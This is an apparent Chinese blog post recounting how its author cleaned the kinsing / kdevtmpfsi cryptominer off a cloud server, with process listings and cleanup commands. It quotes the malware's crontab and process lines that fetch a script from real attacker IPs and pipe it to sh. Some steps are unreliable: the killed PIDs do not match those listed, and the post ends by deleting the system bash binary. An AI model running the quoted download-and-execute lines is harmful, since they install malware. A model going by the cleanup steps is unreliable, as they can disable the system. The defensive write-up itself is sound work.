阿里云服务器中挖矿病毒了,名称为 kinsing

五一本来就没有过好,上班来了第一天同事就说页面打不开了
不开心的我就打开看看项目页面,不看不要紧一看还真是见鬼了
赶紧查看一下 top查看了一下

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND     
 25638 root       10 -10     25518                            100                kdevtmpfsi                
 1245 root      10 -10  129488  11804   5484 S   0.3  0.3 136:50.01 AliYunDun                       
12875 hadoop    20   0 2885608 344016  10616 S   0.3  9.2   7:07.82 java                            
13245 hadoop    20   0 3069488 405376  10404 S   0.3 10.9  28:08.32 java                            
25862 root      20   0  939636  12196   5476 S   0.3  0.3   0:30.01 /usr/local/clou                 
    1 root      20   0   51732   3628   2324 S   0.0  0.1   0:56.29 systemd                         
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.04 kthreadd                        
    4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 kworker/0:0H                    
    6 root      20   0       0      0      0 S   0.0  0.0   0:04.44 ksoftirqd/0                     
    7 root      rt   0       0      0      0 S   0.0  0.0   0:00.51 migration/0                     
    8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 rcu_bh                          
    9 root      20   0       0      0      0 S   0.0  0.0   0:51.42 rcu_sched                       
   10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 lru-add-drain                   
   11 root      rt   0       0      0      0 S   0.0  0.0   0:02.24 watchdog/0                      
   12 root      rt   0       0      0      0 S   0.0  0.0   0:01.35 watchdog/1                      
   13 root      rt   0       0      0      0 S   0.0  0.0   0:00.46 migration/1                     
   14 root      20   0       0      0      0 S   0.0  0.0   0:08.06 ksoftirqd/1                     
   16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 kworker/1:0H                    

被第一行的一个鬼进程占满了内存,赶紧看下是哪龟孙 在服务器里运行进程了
真不知道那个龟孙在我的服务器里植入了挖矿的程序
今天真是气不打一出来呀。。。
好了那就干吧
首先根据进程找到这个文件所在地 把它停掉 删除吧

systemctl status 25638
 

结果展示:

session-5649.scope - Session 5649 of user root
   Loaded: loaded (/run/systemd/system/session-5649.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-5649.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
   Active: active (abandoned) since 一 2019-12-23 10:41:33 CST; 2 days ago
   CGroup: /user.slice/user-0.slice/session-5649.scope
           ├─ 25638/tmp/kdevtmpfsi
           └─18534 ./kinsing1oZIY4Aid7

这个东西在 tmp/kdevtmpfsi 里

cd  tmp

先查看这些进程的pid

ps -aux | grep kinsing
ps -aux | grep kdevtmpfsi

杀死这些中间带有问号的进程

kill  -9   23437
kill  -9   18534

删除这个挖矿进程文件

 rm -rf kdevtmpfsi  

再删除这个挖矿进程的脚本
记得这个守护进程的文件也要删掉,找不到的话,也可以用这个命

rm -rf /var/tmp/kinsing

在查找一下有没有残余文件

ls -la

果然有隐藏的文件.删除所有隐藏文件
.xml的删除
这个也删除systemd-private-cec28c7f89e9487eac77f6c235ea9534-chronyd.service-ndSyWG/

find / -name kdevtmpfsi

find / -name kinsing

最后一步至关重要,这个龟孙肯定还会再生,查看一下定时脚本里有没有指定下载的程序

crontab -l 
* * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1

修改定时器吧:

crontab -e

把里面的东西全部删除

最后一步去查看自己的ssh无密登录,这个可能是最后的后门了

cd ~/.ssh 

删除不认识公钥id

清理最后的bash

#80的端口
ps -ef | grep 80

doop@xxxxxxx -p22 curl -L http://45.153.231.180/spr.sh|sh; wget -q -O - http://45.153.231.180/spr.sh|sh;
hadoop   19747 19726  0 Apr29 ?        00:00:00 bash -c curl -L http://45.153.231.180/spr.sh|sh; wget -q -O - http://45.153.231.180/spr.sh|sh;
hadoop   22822 22821  0 Apr28 ?        00:00:00 bash -c curl -L http://45.153.231.180/spr.sh|sh; wget -q -O - http://45.153.231.180/spr.sh|sh;
hadoop   24218 24217  0 Apr28 ?        00:00:00 bash -c curl -L http://45.153.231.180/spr.sh|sh; wget -q -O - http://45.153.231.180/spr.sh|sh;

找出来,干掉它们

[hadoop@master soft]$ ls -l /proc/19747/exe
lrwxrwxrwx 1 hadoop hadoop 0 May  6 10:16 /proc/19747/exe -> /usr/bin/bash
[hadoop@master soft]$ ls -l /proc/22822/exe

斩草要除根

[hadoop@master bin]$ sudo rm -rf bash
[hadoop@master bin]$ 
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值